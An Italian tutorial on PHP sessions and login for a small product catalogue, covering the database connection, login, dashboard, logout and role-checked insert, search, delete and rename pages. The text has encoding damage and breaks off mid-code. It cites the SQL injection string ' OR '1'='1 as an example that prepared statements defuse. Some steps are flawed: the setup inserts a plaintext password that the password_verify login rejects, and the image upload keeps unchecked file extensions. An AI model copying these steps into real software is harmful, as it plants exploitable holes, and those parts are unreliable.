password VARCHAR(255)password_hash() puΓ² essere lungo fino a 60 caratteri, ma usiamo 255 per sicurezza futura (se cambiamo algoritmo).tipo ENUM('acquirente', 'venditore')ENUM significa "enumerazione": la colonna puΓ² contenere solo uno dei valori elencati.<?php // βββββββββββββββββββββββββββββββββββββββββββ // LE "CHIAVI" PER ENTRARE NEL DATABASE // βββββββββββββββββββββββββββββββββββββββββββ $servername = "localhost"; $username = "root"; $password = ""; $dbname = "web_app"; // Crea la connessione $conn = new mysqli($servername, $username, $password, $dbname); // Controlla errori if ($conn->connect_error) { die("β Connessione fallita: " . $conn->connect_error); } // Se arriviamo qui, la connessione funziona! π ?>
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Login - Area Riservata</title>
</head>
<body>
<h2>π Accedi al Sistema</h2>
<p>Inserisci le tue credenziali per accedere:</p>
<!--
action="login.php" = i dati vanno al "portinaio" che controlla
Con method="post" username e password non appaiono nell'URL (ma non sono crittografati senza HTTPS)
-->
<form action="login.php" method="post">
<label for="login_username">Username:</label><br>
<input type="text" id="login_username" name="username" required>
<br><br>
<label for="login_password">Password:</label><br>
<!-- type="password" maschera i caratteri (mostra puntini) -->
<input type="password" id="login_password" name="password" required>
<br><br>
<input type="submit" value=" Accedi">
</form>
<div class="tip">
<strong>Utenti di prova:</strong><br>
Venditori: mario_venditore / luigi_venditore (password: password123)<br>
Acquirenti: anna_acquirente / giovanni_acq (password: password123)
</div>
<p><a href="index.html">β Torna alla home pubblica</a></p>
</body>
</html>
<input type="password">type="password" maschera i caratteri digitati (mostra puntini o asterischi).method="post" (dati non visibili nell'URL) ma Senza HTTPS, i dati inviati via POST sono comunque in chiaro. Chiunque intercetti il traffico di rete con Wireshark o sia sul tuo stesso Wi-Fi pubblico legge tranquillamente username e password.Quindi per la sicurezza Γ¨ necessario usare HTTPS.
<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 0: AVVIA IL SISTEMA DI SESSIONI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // session_start() DEVE essere la PRIMA riga, prima di qualsiasi output! // Crea il "badge" se non esiste, o lo legge se esiste giΓ // ATTENZIONE: niente spazi prima di questa riga! // PerchΓ©? Il cookie che identifica "l'armadietto" (i dati della sessione) viene inviato nell'intestazione HTTP. // Se c'Γ¨ anche solo uno spazio prima, PHP invia l'intestazione prima che session_start() crei il cookie, // e la sessione non funzionerΓ (il server senza il cookie non sa quale armadietto aprire). session_start(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: COLLEGATI AL DATABASE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ require_once 'connessione.php'; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 2: RECUPERA I DATI INVIATI DAL FORM β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Recupera username e password inviati dal form // $_POST Γ¨ la "scatola magica" che contiene i dati del form // β NOTA: Non usare htmlspecialchars() QUI! Viene usata solo in output, non prima di query DB $username = $_POST['username']; $password = $_POST['password']; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 3: PREPARA LA QUERY CON I "BUCHI" (segnaposto) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Cerca l'utente con questo username // Il ? Γ¨ il segnaposto: "cerca l'utente con username = [valore che per motivi di sicurezza scriveremo dopo]" $stmt = $conn->prepare("SELECT * FROM utenti WHERE username = ?"); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β β β PASSO 4: RIEMPI I "BUCHI"(segnaposto indicati con ?) β β CON I VALORI REALI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // "s" = stringa (username Γ¨ testo) // Inseriamo $username al posto del primo (e unico) segnaposto ? $stmt->bind_param("s", $username); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 5: ESEGUI LA RICERCA β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->execute(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 6: OTTIENI I RISULTATI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $result = $stmt->get_result(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 7: CONTROLLA SE L'UTENTE ESISTE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Se non troviamo l'username nel database (num_rows = 0)... if ($result->num_rows === 0) { // Utente non trovato! Mostra errore con echo (come nel resto del manuale) echo "<h2>β Errore di accesso</h2>"; echo "<p>Username non trovato!</p>"; echo "<p><a href='login.html'>β Torna al login</a></p>"; // Chiudi statement e connessione prima di uscire $stmt->close(); $conn->close(); exit(); // dopo l'esecuzione di exit() non vengono eseguite altre istruzioni } // Se l'utente esiste, prendi i suoi dati (come array associativo) // $utente contiene: id, username, password (hash), tipo $utente = $result->fetch_assoc(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 8: VERIFICA LA PASSWORD β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // password_verify() confronta la password digitata con l'hash nel database // NON confrontiamo direttamente le stringhe! Confrontiamo l'hash // password_verify() Γ¨ magica: sa se la password inserita genera l'hash del database if (!password_verify($password, $utente['password'])) { // Password sbagliata! Mostra errore con echo echo "<h2>β Errore di accesso</h2>"; echo "<p>Password errata!</p>"; echo "<p><a href='login.html'>β Torna al login</a></p>"; // Chiudi statement e connessione prima di uscire $stmt->close(); $conn->close(); exit(); // dopo l'esecuzione di exit() non vengono eseguite altre istruzioni } // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 9: CREA LA SESSIONE (IL "BADGE IDENTIFICATIVO") β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Salva i dati dell'utente nell'array $_SESSION // Questi dati rimarranno disponibili in TUTTE le pagine fino al logout // Γ come scrivere sul badge: "Nome: Mario, Ruolo: Venditore" $_SESSION['logged_in'] = true; // Flag: l'utente Γ¨ loggato $_SESSION['username'] = $utente['username']; // Salva l'username $_SESSION['tipo'] = $utente['tipo']; // Salva il tipo (acquirente/venditore) $_SESSION['id'] = $utente['id']; // Salva l'ID utente (utile per log) // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 10: CHIUDI STATEMENT E CONNESSIONE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->close(); $conn->close(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 11: REINDIRIZZA ALLA PAGINA PERSONALE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // header("Location: ...") reindirizza il browser alla pagina specificata (dashboard.php) // DEVE essere chiamato prima di qualsiasi istruzione di output HTML, altrimenti non funziona! header("Location: dashboard.php"); // exit() ferma l'esecuzione dello script dopo il reindirizzamento exit(); ?>
else?if ($result->num_rows === 0) { // mostra errore exit(); // β FERMA TUTTO}// Se arriviamo QUI, significa che l'IF era FALSO$utente = $result->fetch_assoc();
exit() ferma tuttoexit() ferma immediatamente l'esecuzione dello script PHP.else: se il codice continua, Γ¨ perchΓ© la condizione dell'if era falsa!
$stmt = $conn->prepare("SELECT * FROM utenti WHERE username = ?")?, esattamente come in inserimento.php e ricerca.php.' OR '1'='1 come username, viene trattato come semplice testo, non come codice SQL.
$stmt->bind_param("s", $username)$utente = $result->fetch_assoc()$utente['username'], $utente['password'], $utente['tipo'].
password_verify($password, $utente['password'])true se coincidono, false se no$_SESSION['username'] = $utente['username']$_SESSION Γ¨ un array associativo speciale:
$_SESSION['chiave'] ove chiave potrebbe essere username, password, tipoUtente, ecc...session_start() o header().<?php.
header() deve essere la prima cosa che il server comunica al browser e quindi la prima istruzione che produce output, perchΓ© puoi immaginare header() come l'etichetta su un pacco e le istruzioni di output come il contenuto del pacco ed il server PHP come un postino che invia il pacco non appena tu inserisci qualcosa nel pacco: non puoi attaccare l'etichetta se il pacco Γ¨ giΓ stato spedito.
La comunicazione tra server PHP e il client (ed in particolare il browser del client) Γ¨ composta da due parti: l'intestazione e il corpo (il contenuto visualizzato). Appena PHP incontra un singolo spazio, un pezzo di HTML o un echo, o una qualsiasi altra istruzione di output, invia il contenuto al browser con le intestazioni di default. Per questo, se provi un codice PHP in cui l'istruzione header() Γ¨ preceduta anche da un solo echo "ciao", il server restituirΓ un errore. Γ come se provassi a cambiare l'intestazione di una lettera dopo che giΓ Γ¨ stata spedita.
<?php sia il primissimo carattere del file (niente righe vuote sopra).echo o un blocco HTML prima di un'istruzione header(...).include o require) non abbiano una riga vuota dopo la chiusura del tag ?>. Quella riga verrebbe considerata output (riga vuota nella finestra del browser) e spedita al browser, impedendo al file principale di usare la funzione header(). In breve: l'ultima riga del file deve coincidere con la chiusura del codice ?>, senza alcun invio o spazio dopo di essa.header("Location: ...") NON ferma lo script. Senza exit(), PHP continua a eseguire il codice sottostante, causando comportamenti imprevedibili.
π― Regola: Dopo ogni header("Location: ..."), metti SEMPRE exit().
<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 0: AVVIA SEMPRE LA SESSIONE (prima di tutto!) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ session_start(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: CONTROLLA SE L'UTENTE Γ LOGGATO β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Controlla se la variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // L'utente non Γ¨ loggato! Reindirizza al login // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML header("Location: login.html"); exit(); // Ferma tutto } // Se arriviamo qui, l'utente Γ¨ loggato. Recuperiamo i suoi dati attraverso la sessione: $username = $_SESSION['username']; // Es: "mario_venditore" $tipo = $_SESSION['tipo']; // Es: "venditore" o "acquirente" // βββββββββββββββββββΓ―ΒΏΒ½Γ―ΒΏΒ½Γ―ΒΏΒ½ββββββββββββββββββββββββββββββββββββββ // β PASSO 2: INIZIA A COSTRUIRE LA PAGINA HTML β // ββββββββββββββββββββββββΓ―ΒΏΒ½Γ―ΒΏΒ½Γ―ΒΏΒ½βββββββββΓ―ΒΏΒ½Γ―ΒΏΒ½βββββββββββββββββββββββ // Intestazione HTML con doctype e head echo "<!DOCTYPE html>"; echo "<html lang='it'>"; echo "<head>"; echo " <meta charset='UTF-8'>"; echo " <title>Dashboard - Area Riservata</title>"; echo "</head>"; echo "<body>"; // Intestazione personalizzata con il nome utente // htmlspecialchars() protegge da XSS quando mostriamo dati utente echo "<h2> Benvenuto, " . htmlspecialchars($username) . "!</h2>"; echo "<p>Tipo di account: <strong>" . htmlspecialchars($tipo) . "</strong></p>"; echo "<hr>"; // Menu comune a TUTTI gli utenti echo "<h3>π Ricerca Prodotti</h3>"; echo "<p>Tutti gli utenti possono cercare i prodotti nel catalogo:</p>"; echo "<a href='ricerca.html'>π Vai alla ricerca</a>"; echo "<hr>"; // Menu SOLO per VENDITORI // Usiamo un IF: se il tipo Γ¨ "venditore", mostra questa sezione if ($tipo === 'venditore') { echo "<h3>π Gestione Prodotti (Solo Venditori)</h3>"; echo "<p>Come venditore, puoi gestire i prodotti:</p>"; echo "<p><a href='inserimento.html'>β Inserisci nuovo prodotto</a></p>"; echo "<p><a href='cancella.html'>ποΈ Cancella prodotto per ID</a></p>"; echo "<hr>"; } // Logout disponibile per tutti echo "<p><a href='logout.php'>πͺ Esci (Logout)</a></p>"; // Chiudi il body e l'html echo "</body>"; echo "</html>"; ?>
if ($tipo === 'venditore') { ... }<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 0: AVVIA LA SESSIONE (per poterla cancellare!) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ session_start(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: SVUOTA TUTTI I DATI DELLA SESSIONE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // $_SESSION = [] svuota l'array (rimuove username, tipo, ecc.) // Γ come "svuotare l'armadietto" $_SESSION = []; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 2: DISTRUGGI IL FILE DELLA SESSIONE SUL SERVER β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // session_destroy() cancella il file temporaneo sul server // Γ come "tagliare il badge" - non esiste piΓΉ session_destroy(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 3: REINDIRIZZA ALLA HOME PUBBLICA β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // header() reindirizza alla pagina specificata (index.html) - DEVE essere prima di qualsiasi output HTML header("Location: index.html"); exit(); ?>
$_SESSION = [] svuota i dati in memoria (immediato)session_destroy() cancella il file sul server (permanente)session_destroy() a volte lascia residui in memoriahttp://localhost/progetto/inserimento.html e bypassare il login!<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PROTEZIONE: CONTROLLA SESSIONE E PERMESSI β // ββββββββββββββββΓ―ΒΏΒ½Γ―ΒΏΒ½βββββββββββββββββββββββββββββββββββββββββ // Avvia la sessione (prima di tutto!) session_start(); // Controllo 1: Sei loggato? if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // Controlla se La variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine // Non visualizza messaggi di errore, semplicemente reindirizza al login // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML header("Location: login.html"); exit(); } // Controllo 2: Sei un venditore? if ($_SESSION['tipo'] !== 'venditore') { // L'utente Γ¨ loggato, ma non ha i permessi! // Mostriamo un messaggio chiaro con echo echo "<h2> Accesso negato!</h2>"; echo "<p>Solo i venditori possono inserire prodotti.</p>"; echo "<p><a href='dashboard.php'>β Torna alla tua dashboard</a></p>"; exit(); } // Se arriviamo qui, l'utente Γ¨ un venditore autorizzato // Recupera il nome per il messaggio di benvenuto personalizzato $username = $_SESSION['username']; // 5. Include la connessione al database require_once 'connessione.php'; // 6. Recupera i dati dal form POST $nome = $_POST['nome']; $descrizione = $_POST['descrizione']; $prezzo = $_POST['prezzo']; // 7. Gestione caricamento immagine (come nella sezione 10) $immagine = NULL; if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) { $tmp_name = $_FILES['immagine']['tmp_name']; $nome_originale = $_FILES['immagine']['name']; $estensione = pathinfo($nome_originale, PATHINFO_EXTENSION); $nome_univoco = uniqid('img_', true) . '.' . $estensione; $destinazione = 'immagini/' . $nome_univoco; if (move_uploaded_file($tmp_name, $destinazione)) { $immagine = $destinazione; } } // 8. Inserisci nel DB (aggiungendo il venditore dalla sessione) $stmt = $conn->prepare( "INSERT INTO prodotti (nome, descrizione, prezzo, immagine, venditore) VALUES (?, ?, ?, ?, ?)" ); $stmt->bind_param("ssdss", $nome, $descrizione, $prezzo, $immagine, $username); $stmt->execute(); // 9. Messaggio di conferma echo "<h2>β Prodotto salvato con successo!</h2>"; echo "<p>Nome: " . htmlspecialchars($nome) . "</p>"; echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>"; if ($immagine) { echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>"; } echo "<p><a href='index.html'>β Torna alla home</a></p>"; // 10. Chiudi connessione $stmt->close(); $conn->close(); ?>
| Livello | File | Controlla | Se fallisce |
|---|---|---|---|
| 1. Sessione | Tutte le pagine protette | logged_in === true |
Reindirizza a login.html |
| 2. Permessi | inserimento.php | tipo === 'venditore' |
Messaggio "Accesso negato" con echo |
| 3. Query | Tutte le pagine DB | Prepared statement | Protegge da SQL injection |
<?php // Protezione base: solo utenti loggati session_start(); // Controlla se la variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML header("Location: login.html"); exit(); } // Recupera il tipo per personalizzare il messaggio (opzionale) $tipo = $_SESSION['tipo']; $username = $_SESSION['username']; require_once 'connessione.php'; // PASSO 2: Recupera il termine cercato dall'URL $nome = $_GET['nome']; // PASSO 3: Prepara la query di ricerca con LIKE per ricerca parziale $stmt = $conn->prepare( "SELECT * FROM prodotti WHERE nome LIKE ?" ); $nome_ricerca = '%' . $nome . '%'; $stmt->bind_param("s", $nome_ricerca); // PASSO 4: Esegui la ricerca $stmt->execute(); // PASSO 5: Ottieni i risultati $result = $stmt->get_result(); // PASSO 6: Visualizza i risultati echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>"; if ($result->num_rows > 0) { echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>"; echo "<table border='1' style='border-collapse: collapse; width: 100%;'>"; echo "<tr style='background-color: #3498db; color: white;'>"; echo "<th>ID</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th><th>Immagine</th></tr>"; while($row = $result->fetch_assoc()) { echo "<tr>"; echo "<td>" . $row["id"] . "</td>"; echo "<td>" . htmlspecialchars($row["nome"]) . "</td>"; echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>"; echo "<td>β¬" . $row["prezzo"] . "</td>"; // Mostra immagine se presente echo "<td>"; if (!empty($row["immagine"])) { echo "<img src='" . htmlspecialchars($row["immagine"]) . "' width='80'>"; } else { echo "Nessuna immagine"; } echo "</td>"; echo "</tr>"; } echo "</table>"; } else { echo "<p>β Nessun prodotto trovato.</p>"; } // Link navigazione echo "<p>"; echo "<a href='ricerca.html'>π Nuova ricerca</a> | "; echo "<a href='dashboard.php'>Β Torna alla dashboard</a>"; echo "</p>"; // Chiudi connessioni $stmt->close(); $conn->close(); ?>
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Cancella Prodotto</title>
</head>
<body>
<h2>ποΈ Cancella Prodotto dal Database</h2>
<div class="warning">
<strong>β οΈ Attenzione:</strong> Questa operazione Γ¨ irreversibile! Una volta cancellato, il prodotto non potrΓ essere recuperato.
</div>
<form action="cancella.php" method="post">
<label for="id_prodotto">ID Prodotto da cancellare:</label><br>
<input type="number" id="id_prodotto" name="id_prodotto" min="1" required>
<br><br>
<input type="submit" value="ποΈ Cancella Prodotto" onclick="return confirm('Sei sicuro di voler cancellare questo prodotto?')">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
<?php
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 0: PROTEZIONE PAGINA - SOLO VENDITORI β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
session_start();
// Controlla se l'utente Γ¨ loggato
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
header("Location: login.html");
exit();
}
// Controlla se l'utente Γ¨ un venditore
if ($_SESSION['tipo'] !== 'venditore') {
echo "<h2>β Accesso negato!</h2>";
echo "<p>Solo i venditori possono cancellare prodotti.</p>";
echo "<p><a href='dashboard.php'>β Torna alla dashboard</a></p>";
exit();
}
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 1: APRI LA CONNESSIONE AL DATABASE β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
require_once 'connessione.php';
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 2: RECUPERA L'ID PRODOTTO β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if (empty($_POST['id_prodotto']) || !is_numeric($_POST['id_prodotto'])) {
die("β Errore: ID prodotto non valido o mancante.");
}
$id_prodotto = (int)$_POST['id_prodotto'];
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 3: PREPARA LA QUERY DI CANCELLAZIONE β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
$stmt = $conn->prepare("DELETE FROM prodotti WHERE id = ?");
$stmt->bind_param("i", $id_prodotto);
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 4: ESEGUI LA CANCELLAZIONE β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if ($stmt->execute()) {
if ($stmt->affected_rows > 0) {
// PRODOTTO CANCELLATO CON SUCCESSO
echo "<h2>β
Prodotto cancellato con successo!</h2>";
echo "<p>Il prodotto con ID <strong>" . $id_prodotto . "</strong> Γ¨ stato rimosso dal database.</p>";
} else {
// NESSUN PRODOTTO TROVATO CON QUESTO ID
echo "<h2>βΉοΈ Nessun prodotto trovato</h2>";
echo "<p>Non esiste nessun prodotto nel database con ID <strong>" . $id_prodotto . "</strong>.</p>";
}
} else {
// ERRORE NELLA CANCELLAZIONE
echo "<h2>β Errore nella cancellazione</h2>";
echo "<p>Dettaglio: " . $stmt->error . "</p>";
}
echo "<p><a href='index.html'>β Torna alla home</a></p>";
echo "<p><a href='cancella.html'>β Cancella un altro prodotto</a></p>";
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 5: CHIUDI TUTTO β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
$stmt->close();
$conn->close();
?>
onclick="return confirm('...')" che mostra un popup di conferma.
| session_start() | Attiva/legge la sessione. Prima di tutto! Prima di qualsiasi output HTML. |
| $_SESSION | Array associativo dove salvi dati persistenti (username, tipo, ecc.). I dati sono sul server, sicuri. |
| header("Location: ...") | Reindirizza a un'altra pagina. Prima di output! Seguito sempre da exit(). |
| echo "..." | Genera tutto l'output HTML. In questo file, tutto l'output viene generato con echo dentro i tag PHP. |
| password_hash() | Crea hash sicuri da salvare nel database (mai password in chiaro!). Usa PASSWORD_DEFAULT. |
| password_verify() | Confronta password digitata con hash nel database. Restituisce true/false. |
| isset($_SESSION['chiave']) | Controlla se una variabile di sessione esiste (evita errori "undefined index"). |
| session_destroy() | Cancella definitivamente la sessione. Usa dopo $_SESSION = []. |
session_start() deve essere la prima riga del file PHP?
session_start() crei il cookie, e quindi PHP segnalerΓ un warning e la sessione non funzionerΓ (il server non avendo il cookie, il bigliettino con l'etichetta dell'armadietto, non saprebbe come recuperare i dati di sessione).$_SESSION? Sul client o sul server?
$_POST (dati del form) e $_SESSION (dati della sessione)?
$_POST dura solo per quella pagina: i dati del form arrivano e poi spariscono. $_SESSION rimane attivo mentre navighi nel sito: i dati restano disponibili finchΓ© non chiudi il browser o fai logout.password_hash() invece di salvare la password normale nel database?
$_SESSION['tipo']. Se Γ¨ "venditore", mostriamo il link per inserire prodotti. Se Γ¨ "acquirente", mostriamo solo la ricerca.inserimento.php scrivendo l'URL?
inserimento.php controlla il tipo di utente all'inizio. Se non Γ¨ un venditore, mostra un messaggio di accesso negato e un link per tornare alla dashboard.Se sai rispondere, hai padroneggiato le sessioni e l'autenticazione! π
registrazione.php che permetta di creare nuovi account. Solo account acquirente (non permettere di creare venditori).profilo.php dove l'utente vede le proprie informazioni e puΓ² modificare la password.log_accessi che registri ogni tentativo di login (username, data, esito: successo/fallito, IP).$_SESSION['ultimo_accesso'] = time() e confronta con time().Nascondere i link (non mostrare il pulsante "Inserisci" agli acquirenti) Γ¨ utile per l'usabilitΓ , ma NON Γ¨ sicurezza!
Un utente malintenzionato potrebbe:
inserimento.php nella barra degli indirizziLa protezione deve essere sempre lato server (nel codice PHP), mai solo lato client (nascondendo link).
session_regenerate_id(true) per prevenire session fixation.session_set_cookie_params(['secure' => true, 'httponly' => true]).http://localhost/phpmyadminweb_appCREATE DATABASE IF NOT EXISTS web_app;
USE web_app;
CREATE TABLE IF NOT EXISTS prodotti (
id INT AUTO_INCREMENT PRIMARY KEY,
nome VARCHAR(50) NOT NULL,
descrizione TEXT,
prezzo DECIMAL(6, 2) NOT NULL,
immagine VARCHAR(255) NULL
);
CREATE TABLE IF NOT EXISTS utenti (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(30) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL,
tipo ENUM('acquirente', 'venditore') NOT NULL DEFAULT 'acquirente'
);
Γ necessario creare almeno un utente venditore per poter cancellare prodotti:
INSERT INTO utenti (username, password, tipo)
VALUES ('venditore', 'venditore123', 'venditore');
β Questo crea un utente con:
Crea la cartella C:\xampp\htdocs\progetto\ e copiaci dentro tutti questi file:
| File | Descrizione |
|---|---|
connessione.php | Connessione database |
login.html | Form login |
login.php | Verifica credenziali |
dashboard.php | Pagina personale dopo login |
inserimento.html | Form inserimento prodotti |
inserimento.php | Salva prodotto nel DB |
ricerca.html | Form ricerca |
ricerca.php | Esegue ricerca |
cancella.html | Form cancellazione prodotto |
cancella.php | Esegue cancellazione |
logout.php | Esci dall'account |
http://localhost/progetto/login.htmlOra puoi fare tutte le operazioni:
venditore possono vedere e usare le funzioni di inserimento e cancellazione.
?? '' (null coalescing):trim():Prova a implementare una funzionalitΓ che permetta di modificare il nome di un prodotto giΓ esistente nel database, senza fare riferimento alle immagini.
Obiettivo: L'utente deve poter inserire il nome attuale del prodotto e il nuovo nome desiderato, e il sistema deve aggiornare il record corrispondente nel database.
Per implementare questa funzione, devi creare due nuovi file e aggiornare la home page.
index.htmlAggiorna la home page aggiungendo il link per accedere alla pagina di modifica:
Catalogo Prodotti - Home
Catalogo Prodotti
modifica.html
Modifica Nome Prodotto
βοΈ Modifica Nome Prodotto
modifica.phpprepare("SELECT nome FROM prodotti WHERE nome = ?");
$stmt_check->bind_param("s", $old_nome);
$stmt_check->execute();
$result_check = $stmt_check->get_result();
if ($result_check->num_rows === 0) {
$stmt_check->close();
$conn->close();
die("β οΈ Nessuna modifica effettuata
Il prodotto '" . htmlspecialchars($old_nome) . "' non esiste nel database.
");
}
$stmt_check->close();
// Se arriviamo qui, il prodotto ESISTE β procedo con UPDATE
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 4: PREPARA la QUERY UPDATE CON SEGNAPOSTO (?) β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
$stmt = $conn->prepare(
"UPDATE prodotti
SET nome = ?
WHERE nome = ?"
);
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 5: RIEMPI I SEGNAPOSTO CON I VALORI REALI β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
$stmt->bind_param("ss", $new_nome, $old_nome);
// "ss" = due stringhe
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 6: ESEGUI L'UPDATE β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if ($stmt->execute()) {
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// β PASSO 7: CONFERMA ALL'UTENTE β
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
$affected = $stmt->affected_rows;
echo "β
Prodotto modificato con successo!
";
echo "Vecchio nome: " . htmlspecialchars($old_n